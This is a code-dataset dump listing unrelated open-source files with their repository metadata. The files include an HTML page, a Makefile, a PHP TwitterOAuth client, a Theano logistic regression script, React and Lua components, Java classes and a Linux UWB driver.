code
stringlengths
3
1.01M
repo_name
stringlengths
5
116
path
stringlengths
3
311
language
stringclasses
30 values
license
stringclasses
15 values
size
int64
3
1.01M
<!doctype html> <html lang="es"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Localizacion JS</title> <script src="../js/vendor/alertify.js"></script> <link rel="stylesheet" href="../css/marketing.css"> <link rel="shortcut icon" href="../img/favicon.png"> </head> <body> <header class="header"> <a class="pure-menu-heading" href="inicio" id="logoInicio"> <img src="img/logo.png" id="logo" alt="logo" /><span id="titulo">Localizaci&oacute;nJS </span> </a> <div id ="enlaces"> <a href="inicio" class="pure-menu-heading pure-menu-link ">INICIO</a> <a href="dispositivo" class="pure-menu-heading pure-menu-link dosLineas">VINCULAR <br class="salto"/>DISPOSITIVOS</a> <a href="admin" class="pure-menu-heading pure-menu-link dosLineas">PANEL DE <br class="salto"/>ADMINISTRACI&Oacute;N</a> </div> </header> <div class="content"> <br/> <br/> aviso <br/> <br/> </div> <footer class="footer l-box is-center"> <div class="contenido"> <div class="left"> <a href="https://github.com/salvacam/localizacionjs" target="_blank" id="git"> <span><i>C&oacute;digo</i></span> </a> <a href="http://salvacam.x10.mx/pi/app.apk" id="apk"> <span><i>App Android</i></span> </a> <a href="http://salvacam.x10.mx/pi/app.xap" id="xap"> <span><i>App Windows Phone</i></span> </a> </div> <div class="right"> <a href="http://salvacam.x10.mx/pi/Doc_.pdf" target="_blank" id="pdf"> <span><i>Documentaci&oacute;n</i></span> </a> <a href="http://slides.com/salvacam/localizacionjs/" target="_blank" id="prezi"> <span><i>Presentaci&oacute;n</i></span> </a> </div> <div class="center"> Proyecto Integrado Desarrollo de Aplicaciones Web 2015 <br/>Aplicación Web en Tiempo Real <br/>Salvador Camacho Soto </div> </div> </footer> </body> <script> </script> </html>
salvacam/localizacionjs
public_html/html/aviso.html
HTML
gpl-2.0
2,551
# #################################################### # This is the Makefile for building the mips1 ArchC model # This file is automatically generated by ArchC # WITHOUT WARRANTY OF ANY KIND, either express # or implied. # For more information on ArchC, please visit: # http://www.archc.org # # The ArchC Team # Computer Systems Laboratory (LSC) # IC-UNICAMP # http://www.lsc.ic.unicamp.br # #################################################### # Variable that points to SystemC installation path SYSTEMC := /home/staff/rodolfo/mc723/systemc # Variable that points to ArchC installation path ARCHC := /home/staff/rodolfo/mc723/archc/bin # Target Arch used by SystemC TARGET_ARCH := linux64 INC_DIR := -I. -I/home/staff/rodolfo/mc723/archc/include/archc -I$(SYSTEMC)/include LIB_DIR := -L. -L$(SYSTEMC)/lib-$(TARGET_ARCH) -L/home/staff/rodolfo/mc723/archc/lib LIB_SYSTEMC := -lsystemc LIBS := $(LIB_SYSTEMC) -lm $(EXTRA_LIBS) -larchc CC := g++ OPT := -O3 DEBUG := -g OTHER := -Wno-deprecated CFLAGS := $(DEBUG) $(OPT) $(OTHER) MODULE := mips1 # These are the source files automatically generated by ArchC, that must appear in the SRCS variable ACSRCS := $(MODULE)_arch.cpp $(MODULE)_arch_ref.cpp $(MODULE).cpp pipeline.cpp cache.cpp branchpredictor.cpp # These are the source files automatically generated by ArchC that are included by other files in ACSRCS ACINCS := $(MODULE)_isa_init.cpp # These are the header files automatically generated by ArchC ACHEAD := $(MODULE)_parms.H $(MODULE)_arch.H $(MODULE)_arch_ref.H $(MODULE)_isa.H $(MODULE)_bhv_macros.H $(MODULE).H pipeline.h # These are the source files provided by ArchC that must be compiled together with the ACSRCS # They are stored in the archc/src/aclib directory ACFILES := # These are the library files provided by ArchC # They are stored in the archc/lib directory ACLIBFILES := ac_decoder_rt.o ac_module.o ac_storage.o ac_utils.o ac_syscall.o # These are the headers files provided by ArchC # They are stored in the archc/include directory ACFILESHEAD := $(ACFILES:.cpp=.H) ac_decoder_rt.H ac_module.H ac_storage.H ac_utils.H ac_regbank.H ac_debug_model.H ac_sighandlers.H ac_ptr.H ac_memport.H ac_arch.H ac_arch_dec_if.H ac_arch_ref.H ac_syscall.H # These are the source files provided by the user + ArchC sources SRCS := main.cpp $(ACSRCS) $(ACFILES) $(MODULE)_syscall.cpp OBJS := $(SRCS:.cpp=.o) EXE := $(MODULE).x .SUFFIXES: .cc .cpp .o .x all: $(addprefix /home/staff/rodolfo/mc723/archc/include/archc/, $(ACFILESHEAD)) $(MODULE)_syscall.H $(ACHEAD) $(ACFILES) $(EXE) $(EXE): $(OBJS) $(SYSTEMC)/lib-$(TARGET_ARCH)/libsystemc.a $(CC) $(CFLAGS) $(INC_DIR) $(LIB_DIR) -o $@ $(OBJS) $(LIBS) 2>&1 | c++filt # Copy from template if main.cpp not exist main.cpp: cp main.cpp.tmpl main.cpp # Copy from template if mips1_syscall.H not exist mips1_syscall.H: cp mips1_syscall.H.tmpl mips1_syscall.H .cpp.o: $(CC) $(CFLAGS) $(INC_DIR) -c $< .cc.o: $(CC) $(CFLAGS) $(INC_DIR) -c $< clean: rm -f $(OBJS) *~ $(EXE) core *.o model_clean: rm -f $(ACSRCS) $(ACHEAD) $(ACINCS) $(ACFILESHEAD) $(ACFILES) *.tmpl loader.ac sim_clean: clean model_clean distclean: sim_clean rm -f main.cpp Makefile.archc run: make clean && make && ./mips1.x --load=hello.mips
marcelo-mt/mc723p2
Makefile
Makefile
gpl-2.0
3,454
// ------------------------------------------------------------------------- // generator/ecp_g_force.h dla QNX6 // Deklaracje generatorow dla procesow ECP z wykorzystaniem sily // // ------------------------------------------------------------------------- #if !defined(_ECP_GEN_EIH_H) #define _ECP_GEN_EIH_H #include "base/lib/impconst.h" #include "base/lib/com_buf.h" #include "generator/ecp/ecp_g_teach_in.h" #include "generator/ecp/tff_nose_run/ecp_g_tff_nose_run.h" #include "base/lib/mrmath/mrmath.h" namespace mrrocpp { namespace ecp { namespace common { namespace generator { // -------------------------------------------------------------------------- // Generator trajektorii dla zadania kalibracji ukladu eih. // Rozni sie od tff_nose_run tym ze zatrzymuje sie po chwili i trzeba go uzywac w petli class eih_nose_run : public tff_nose_run { int count; public: // konstruktor eih_nose_run(common::task::task& _ecp_task, int step = 0); virtual bool next_step(); }; // end : class ecp_eih_nose_run_generator } // namespace generator } // namespace common } // namespace ecp } // namespace mrrocpp #endif
ptroja/mrrocpp
src/application/calibration/ecp_g_eih_nose_run.h
C
gpl-2.0
1,158
\documentclass{report} \usepackage{hyperref} % WARNING: THIS SHOULD BE MODIFIED DEPENDING ON THE LETTER/A4 SIZE \oddsidemargin 0cm \evensidemargin 0cm \marginparsep 0cm \marginparwidth 0cm \parindent 0cm \textwidth 16.5cm \ifpdf \usepackage[pdftex]{graphicx} \else \usepackage[dvips]{graphicx} \fi \begin{document} % special variable used for calculating some widths. \newlength{\tmplength} \chapter{Introduction} Full table of contents: Table of contents to level 0 (should be empty): Table of contents to level 1 (only top{-}level sections): Table of contents to level 2: Table of contents to level 3 (should be equivalent to full toc): \section{Section 1} \section{Section 2} \subsection*{Section 2.1} \subsection*{Section 2.2} \subsubsection*{\large{\textbf{Section 2.2.1}}\normalsize\hspace{1ex}\hfill} \section{Section 3} \chapter{Unit ok{\_}table{\_}of{\_}contents{\_}unit} \end{document}
michaliskambi/pasdoc
tests/testcases_output/latex2rtf/ok_table_of_contents/docs.tex
TeX
gpl-2.0
927
<?php /* * Abraham Williams (abraham@abrah.am) http://abrah.am * * The first PHP Library to support OAuth for Twitter's REST API. */ /* Load OAuth lib. You can find it at http://oauth.net */ require_once('OAuth.php'); /** * Twitter OAuth class */ class TwitterOAuth { /* Contains the last HTTP status code returned. */ public $http_code; /* Contains the last API call. */ public $url; /* Set up the API root URL. */ public $host = "https://api.twitter.com/1.1/"; /* Set timeout default. */ public $timeout = 30; /* Set connect timeout. */ public $connecttimeout = 30; /* Verify SSL Cert. */ public $ssl_verifypeer = FALSE; /* Respons format. */ public $format = 'json'; /* Decode returned json data. */ public $decode_json = TRUE; /* Contains the last HTTP headers returned. */ public $http_info; /* Set the useragnet. */ public $useragent = 'TwitterOAuth v0.2.0-beta2'; /* Immediately retry the API call if the response was not successful. */ //public $retry = TRUE; /** * Set API URLS */ function accessTokenURL() { return 'https://api.twitter.com/oauth/access_token'; } function authenticateURL() { return 'https://api.twitter.com/oauth/authenticate'; } function authorizeURL() { return 'https://api.twitter.com/oauth/authorize'; } function requestTokenURL() { return 'https://api.twitter.com/oauth/request_token'; } /** * Debug helpers */ function lastStatusCode() { return $this->http_status; } function lastAPICall() { return $this->last_api_call; } /** * construct TwitterOAuth object */ function __construct($consumer_key, $consumer_secret, $oauth_token = NULL, $oauth_token_secret = NULL) { $this->sha1_method = new OAuthSignatureMethod_HMAC_SHA1(); $this->consumer = new OAuthConsumer($consumer_key, $consumer_secret); if (!empty($oauth_token) && !empty($oauth_token_secret)) { $this->token = new OAuthConsumer($oauth_token, $oauth_token_secret); } else { $this->token = NULL; } } /** * Get a request_token from Twitter * * @returns a key/value array containing oauth_token and oauth_token_secret */ function getRequestToken($oauth_callback = NULL) { $parameters = array(); if (!empty($oauth_callback)) { $parameters['oauth_callback'] = $oauth_callback; } $request = $this->oAuthRequest($this->requestTokenURL(), 'GET', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * Get the authorize URL * * @returns a string */ function getAuthorizeURL($token, $sign_in_with_twitter = TRUE) { if (is_array($token)) { $token = $token['oauth_token']; } if (empty($sign_in_with_twitter)) { return $this->authorizeURL() . "?oauth_token={$token}"; } else { return $this->authenticateURL() . "?oauth_token={$token}"; } } /** * Exchange request token and secret for an access token and * secret, to sign API calls. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham") */ function getAccessToken($oauth_verifier = FALSE) { $parameters = array(); if (!empty($oauth_verifier)) { $parameters['oauth_verifier'] = $oauth_verifier; } $request = $this->oAuthRequest($this->accessTokenURL(), 'GET', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * One time exchange of username and password for access token and secret. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham", * "x_auth_expires" => "0") */ function getXAuthToken($username, $password) { $parameters = array(); $parameters['x_auth_username'] = $username; $parameters['x_auth_password'] = $password; $parameters['x_auth_mode'] = 'client_auth'; $request = $this->oAuthRequest($this->accessTokenURL(), 'POST', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * GET wrapper for oAuthRequest. */ function get($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'GET', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * POST wrapper for oAuthRequest. */ function post($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'POST', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * DELETE wrapper for oAuthReqeust. */ function delete($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'DELETE', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * Format and sign an OAuth / API request */ function oAuthRequest($url, $method, $parameters) { if (strrpos($url, 'https://') !== 0 && strrpos($url, 'http://') !== 0) { $url = "{$this->host}{$url}.{$this->format}"; } $request = OAuthRequest::from_consumer_and_token($this->consumer, $this->token, $method, $url, $parameters); $request->sign_request($this->sha1_method, $this->consumer, $this->token); switch ($method) { case 'GET': return $this->http($request->to_url(), 'GET'); default: return $this->http($request->get_normalized_http_url(), $method, $request->to_postdata()); } } /** * Make an HTTP request * * @return API results */ function http($url, $method, $postfields = NULL) { $this->http_info = array(); $ci = curl_init(); /* Curl settings */ curl_setopt($ci, CURLOPT_USERAGENT, $this->useragent); curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout); curl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ci, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer); curl_setopt($ci, CURLOPT_HEADERFUNCTION, array($this, 'getHeader')); curl_setopt($ci, CURLOPT_HEADER, FALSE); switch ($method) { case 'POST': curl_setopt($ci, CURLOPT_POST, TRUE); if (!empty($postfields)) { curl_setopt($ci, CURLOPT_POSTFIELDS, $postfields); } break; case 'DELETE': curl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE'); if (!empty($postfields)) { $url = "{$url}?{$postfields}"; } } curl_setopt($ci, CURLOPT_URL, $url); $response = curl_exec($ci); $this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE); $this->http_info = array_merge($this->http_info, curl_getinfo($ci)); $this->url = $url; curl_close ($ci); return $response; } /** * Get the header info to store. */ function getHeader($ch, $header) { $i = strpos($header, ':'); if (!empty($i)) { $key = str_replace('-', '_', strtolower(substr($header, 0, $i))); $value = trim(substr($header, $i + 2)); $this->http_header[$key] = $value; } return strlen($header); } }
linzw07/campuspecs
wp-content/plugins/appointments/includes/twitteroauth/twitteroauth.php
PHP
gpl-2.0
8,014
/* * Newsrc.java * Copyright (C) 2002 The Free Software Foundation * * This file is part of GNU inetlib, a library. * * GNU inetlib is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * GNU inetlib is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * Linking this library statically or dynamically with other modules is * making a combined work based on this library. Thus, the terms and * conditions of the GNU General Public License cover the whole * combination. * * As a special exception, the copyright holders of this library give you * permission to link this library with independent modules to produce an * executable, regardless of the license terms of these independent * modules, and to copy and distribute the resulting executable under * terms of your choice, provided that you also meet, for each linked * independent module, the terms and conditions of the license of that * module. An independent module is a module which is not derived from * or based on this library. If you modify this library, you may extend * this exception to your version of the library, but you are not * obliged to do so. If you do not wish to do so, delete this * exception statement from your version. */ package gnu.inet.nntp; import java.util.Iterator; /** * Interface for a .newsrc configuration. * * @author <a href='mailto:dog@gnu.org'>Chris Burdess</a> */ public interface Newsrc { /** * Returns an iterator over the names of the subscribed newsgroups. * Each item returned is a String. */ public Iterator list(); /** * Indicates whether a newsgroup is subscribed in this newsrc. */ public boolean isSubscribed(String newsgroup); /** * Sets whether a newsgroup is subscribed in this newsrc. */ public void setSubscribed(String newsgroup, boolean subs); /** * Indicates whether an article is marked as seen in the specified newsgroup. */ public boolean isSeen(String newsgroup, int article); /** * Sets whether an article is marked as seen in the specified newsgroup. */ public void setSeen(String newsgroup, int article, boolean seen); /** * Closes the configuration, potentially saving any changes. */ public void close(); }
SeekingFor/jfniki
alien/src/gnu/inet/nntp/Newsrc.java
Java
gpl-2.0
2,823
/* mimetypeswidget.h This file is part of GammaRay, the Qt application inspection and manipulation tool. Copyright (C) 2012-2014 Klarälvdalens Datakonsult AB, a KDAB Group company, info@kdab.com Author: Volker Krause <volker.krause@kdab.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef GAMMARAY_MIMETYPESWIDGET_H #define GAMMARAY_MIMETYPESWIDGET_H #include <QWidget> namespace GammaRay { namespace Ui { class MimeTypesWidget; } class MimeTypesWidget : public QWidget { Q_OBJECT public: explicit MimeTypesWidget(QWidget *parent = 0); ~MimeTypesWidget(); private: QScopedPointer<Ui::MimeTypesWidget> ui; }; } #endif // GAMMARAY_MIMETYPESWIDGET_H
02JanDal/GammaRay
ui/tools/mimetypes/mimetypeswidget.h
C
gpl-2.0
1,285
//////////////////////////////////////////////// // Garry's Mod Deathmatch Weapon Base // // by SteveUK // // // ///////////////////////////////////////////// AddCSLuaFile( "cl_init.lua" ) AddCSLuaFile( "cl_hud.lua" ) AddCSLuaFile( "shared.lua" ) include("shared.lua") //////////////////////////////////////////////// function SWEP:OnRestore() end function SWEP:AcceptInput( name, activator, caller ) return false end function SWEP:KeyValue( key, value ) end function SWEP:OnRemove() end function SWEP:Equip( NewOwner ) end SWEP.EquipAmmo = SWEP.Equip function SWEP:NPCShoot_Primary( ShootPos, ShootDir ) self:PrimaryAttack() end function SWEP:NPCShoot_Secondary( ShootPos, ShootDir ) self:PrimaryAttack() end function SWEP:Deploy() -- If it's silenced, we need to play a different anim. if ( self.SupportsSilencer and self:GetNWBool( "Silenced" ) == true ) then self:SendWeaponAnim( ACT_VM_DRAW_SILENCED ) else self:SendWeaponAnim( ACT_VM_DRAW ) end -- Quick switch. return true end
Thadah/GarryWare13
entities/weapons/gmdm_base/init.lua
Lua
gpl-2.0
1,097
/* * Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.sun.tools.doclets.internal.toolkit.builders; import com.sun.tools.doclets.internal.toolkit.*; import com.sun.tools.doclets.internal.toolkit.util.*; import java.io.*; import java.util.*; import org.xml.sax.*; import org.xml.sax.helpers.DefaultHandler; import javax.xml.parsers.*; /** * Parse the XML that specified the order of operation for the builders. This * Parser uses SAX parsing. * * @author Jamie Ho * @since 1.5 * @see SAXParser */ public class LayoutParser extends DefaultHandler { /** * The map of XML elements that have been parsed. */ private Map<String, XMLNode> xmlElementsMap; private XMLNode currentNode; private Configuration configuration; private static LayoutParser instance; private String currentRoot; private boolean isParsing; /** * This class is a singleton. */ private LayoutParser(Configuration configuration) { xmlElementsMap = new HashMap<String, XMLNode>(); this.configuration = configuration; } /** * Return an instance of the BuilderXML. * * @param configuration * the current configuration of the doclet. * @return an instance of the BuilderXML. */ public static LayoutParser getInstance(Configuration configuration) { if (instance == null) { instance = new LayoutParser(configuration); } return instance; } /** * Parse the XML specifying the layout of the documentation. * * @return the list of XML elements parsed. */ public XMLNode parseXML(String root) { if (xmlElementsMap.containsKey(root)) { return xmlElementsMap.get(root); } try { currentRoot = root; isParsing = false; SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser saxParser = factory.newSAXParser(); InputStream in = configuration.getBuilderXML(); saxParser.parse(in, this); return xmlElementsMap.get(root); } catch (Throwable t) { t.printStackTrace(); throw new DocletAbortException(); } } /** * {@inheritDoc} */ @Override public void startElement(String namespaceURI, String sName, String qName, Attributes attrs) throws SAXException { if (isParsing || qName.equals(currentRoot)) { isParsing = true; currentNode = new XMLNode(currentNode, qName); for (int i = 0; i < attrs.getLength(); i++) currentNode.attrs.put(attrs.getLocalName(i), attrs.getValue(i)); if (qName.equals(currentRoot)) xmlElementsMap.put(qName, currentNode); } } /** * {@inheritDoc} */ @Override public void endElement(String namespaceURI, String sName, String qName) throws SAXException { if (!isParsing) { return; } currentNode = currentNode.parent; isParsing = !qName.equals(currentRoot); } }
w7cook/batch-javac
src/share/classes/com/sun/tools/doclets/internal/toolkit/builders/LayoutParser.java
Java
gpl-2.0
4,026
package com.example.tests; import java.util.regex.Pattern; import java.util.concurrent.TimeUnit; import org.junit.*; import static org.junit.Assert.*; import static org.hamcrest.CoreMatchers.*; import org.openqa.selenium.*; import org.openqa.selenium.firefox.FirefoxDriver; import org.openqa.selenium.support.ui.Select; public class GoogleSeleniumWebdriverTestCase { private WebDriver driver; private String baseUrl; private StringBuffer verificationErrors = new StringBuffer(); @Before public void setUp() throws Exception { driver = new FirefoxDriver(); baseUrl = "http://www.google.de/"; driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS); } @Test public void testGoogleSeleniumWebdriverTestCase() throws Exception { driver.get(baseUrl + "/"); driver.findElement(By.id("gbqfq")).clear(); driver.findElement(By.id("gbqfq")).sendKeys("selenium hq"); // ERROR: Caught exception [ERROR: Unsupported command [isTextPresent]] } @After public void tearDown() throws Exception { driver.quit(); String verificationErrorString = verificationErrors.toString(); if (!"".equals(verificationErrorString)) { fail(verificationErrorString); } } private boolean isElementPresent(By by) { try { driver.findElement(by); return true; } catch (NoSuchElementException e) { return false; } } }
czunker/check_selenium
src/com/example/tests/GoogleSeleniumWebdriverTestCase.java
Java
gpl-2.0
1,345
#!/usr/bin/env python2.7 # -*- coding:utf-8 -*- import sklearn.datasets as skds import numpy as np import random import theano.tensor as T import theano import matplotlib.pyplot as plt import math #I don't know what the jesus 'housing.data' means so I used self-generated dataset x = np.arange(-50., 50., 1) y = np.array(map(lambda tmp: 1.0/(1 + math.exp(-3 * tmp + 5.0)), x)) noise = np.random.uniform(-0.1, .1, size=len(x)) y += noise print x print y #declarations theta = theano.shared(np.random.uniform(-0.1, 0.1)) omega = theano.shared(np.random.uniform(-0.1, 0.1)) X = T.dscalar('X') Y = T.dscalar('Y') #functions prediction = 1/(1 + T.exp(-omega * X + theta)) loss1 = -Y * T.log(prediction) loss2 = 1/2.0 * (prediction - Y) ** 2 predict = theano.function([X], prediction) calculate_loss = theano.function([X, Y], loss2) print predict(1.0) #derivatives dX = T.grad(loss2, X) dtheta = T.grad(loss2, theta) domega = T.grad(loss2, omega) epsilon = .01 #gradient function gradient_step = theano.function( [X, Y], updates=((omega, omega - epsilon * domega), (theta, theta - epsilon * dtheta))) #optimization for i in range(100): loss = 0 for j in range(len(x)): gradient_step(x[j], y[j]) loss += calculate_loss(x[j], y[j]) print 'loss after' + str(i) + 'iterations.' + str(loss) print x print y mul = 1 - 1/len(x) plt.xlim(x.min() * mul, x.max() * mul) plt.ylim(y.min() * mul, y.max() * mul) plt.xlabel('x') plt.ylabel('y') plt.title('lr test') plt.plot(x, y, 'ro') xx = np.arange(x.min(), x.max(), 0.1) yy = map(lambda abc: predict(abc), xx) plt.plot(xx, yy, 'b') plt.show() # vim: ts=4 sw=4 sts=4 expandtab
AthenaYe/UFLDL_Tutorial
Chap1_Supervised_Learning_and_Optimization/logistic_regression.py
Python
gpl-2.0
1,696
import is from 'is'; // eslint-disable-next-line import/prefer-default-export export const validNumber = (num, min, max) => { if (is.number(min)) { // Make sure the new value isn't less than the min value. if (num < Number(min)) { return{ showError: true, errorMsg: `Please enter a valid number greater than or equal to ${min}.` }; } } if (is.number(max)) { if (num > Number(max)) { return{ showError: true, errorMsg: `Please enter a valid number less than or equal to ${max}.` }; } } return{ showError: false, errorMsg: '' }; };
massgov/mayflower
packages/react/src/components/forms/Input/validate.js
JavaScript
gpl-2.0
626
import React, { Component } from 'react'; import PropTypes from 'prop-types'; import { EuiSuggestItem } from './suggest_item'; import { EuiSuggestInput } from './suggest_input'; export class EuiSuggest extends Component { state = { value: '', status: 'unsaved' }; getValue = val => { this.setState({ value: val }); }; onChange = e => { this.props.onInputChange(e.target.value); }; render() { const { onItemClick, onInputChange, status, append, tooltipContent, suggestions, ...rest } = this.props; const suggestionList = suggestions.map((item, index) => ( <EuiSuggestItem type={item.type} key={index} label={item.label} onClick={onItemClick ? () => onItemClick(item) : null} description={item.description} /> )); const suggestInput = ( <EuiSuggestInput status={status} tooltipContent={tooltipContent} append={append} sendValue={this.getValue} suggestions={suggestionList} {...rest} /> ); return <div onChange={this.onChange}>{suggestInput}</div>; } } EuiSuggest.propTypes = { className: PropTypes.string, /** * Status of the current query 'notYetSaved', 'saved', 'unchanged' or 'loading'. */ status: PropTypes.oneOf(['unsaved', 'saved', 'unchanged', 'loading']), tooltipContent: PropTypes.string, /** * Element to be appended to the input bar (e.g. hashtag popover). */ append: PropTypes.node, /** * List of suggestions to display using 'suggestItem'. */ suggestions: PropTypes.array, /** * Handler for click on a suggestItem. */ onItemClick: PropTypes.func, onInputChange: PropTypes.func, isOpen: PropTypes.bool, onClosePopover: PropTypes.func, onPopoverFocus: PropTypes.func }; EuiSuggestInput.defaultProps = { status: 'unchanged' };
wazuh/wazuh-kibana-app
public/components/eui-suggest/suggest.js
JavaScript
gpl-2.0
1,921
# #<?php die('Forbidden.'); ?> #Date: 2014-10-05 15:38:37 UTC #Software: Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT #Fields: datetime priority clientip category message 2014-10-05T15:38:37+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet. 2014-10-05T15:39:10+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet. 2014-10-05T15:53:25+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet. 2014-10-05T16:20:57+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet. 2014-10-05T16:22:22+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet. 2014-10-06T12:01:31+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet. 2014-10-06T12:01:47+00:00 INFO 127.0.0.1 failure Username and password do not match or you do not have an account yet.
web2sign/BSBO-Refactor
logs/error.php
PHP
gpl-2.0
1,026
package org.jalgo.module.ebnf.controller.syndia; import org.jalgo.module.ebnf.model.syndia.SyntaxDiagram; import org.jalgo.module.ebnf.util.IAction; /** * Action that deletes a syntax diagram. * * @author Michael Thiele * */ public class DeleteSyntaxDiagramAction implements IAction { private SyntaxDiagram syntaxDiagram; /** * * @param syntaxDiagram * the syntax diagram to delete */ public DeleteSyntaxDiagramAction(SyntaxDiagram syntaxDiagram) { this.syntaxDiagram = syntaxDiagram; } public void perform() throws Exception { syntaxDiagram.getMySynDiaSystem().removeSyntaxDiagram( syntaxDiagram.getName(), true); } public void undo() throws Exception { syntaxDiagram.getMySynDiaSystem().undoDeleteSyntaxDiagram(); } }
jurkov/j-algo-mod
src/org/jalgo/module/ebnf/controller/syndia/DeleteSyntaxDiagramAction.java
Java
gpl-2.0
772
/* * UWB Multi-interface Controller device management. * * Copyright (C) 2007 Cambridge Silicon Radio Ltd. * * This file is released under the GNU GPL v2. */ #include <linux/kernel.h> #include <linux/slab.h> #include <linux/uwb/umc.h> static void umc_device_release(struct device *dev) { struct umc_dev *umc = to_umc_dev(dev); kfree(umc); } /** * umc_device_create - allocate a child UMC device * @parent: parent of the new UMC device. * @n: index of the new device. * * The new UMC device will have a bus ID of the parent with '-n' * appended. */ struct umc_dev *umc_device_create(struct device *parent, int n) { struct umc_dev *umc; umc = kzalloc(sizeof(struct umc_dev), GFP_KERNEL); if (umc) { dev_set_name(&umc->dev, "%s-%d", dev_name(parent), n); umc->dev.parent = parent; umc->dev.bus = &umc_bus_type; umc->dev.release = umc_device_release; umc->dev.dma_mask = parent->dma_mask; } return umc; } EXPORT_SYMBOL_GPL(umc_device_create); /** * umc_device_register - register a UMC device * @umc: pointer to the UMC device * * The memory resource for the UMC device is acquired and the device * registered with the system. */ int umc_device_register(struct umc_dev *umc) { int err; err = request_resource(umc->resource.parent, &umc->resource); if (err < 0) { dev_err(&umc->dev, "can't allocate resource range %pR: %d\n", &umc->resource, err); goto error_request_resource; } err = device_register(&umc->dev); if (err < 0) goto error_device_register; return 0; error_device_register: release_resource(&umc->resource); error_request_resource: return err; } EXPORT_SYMBOL_GPL(umc_device_register); /** * umc_device_unregister - unregister a UMC device * @umc: pointer to the UMC device * * First we unregister the device, make sure the driver can do it's * resource release thing and then we try to release any left over * resources. We take a ref to the device, to make sure it doesn't * disappear under our feet. */ void umc_device_unregister(struct umc_dev *umc) { struct device *dev; if (!umc) return; dev = get_device(&umc->dev); device_unregister(&umc->dev); release_resource(&umc->resource); put_device(dev); } EXPORT_SYMBOL_GPL(umc_device_unregister);
jeffegg/beaglebone
drivers/uwb/umc-dev.c
C
gpl-2.0
2,339
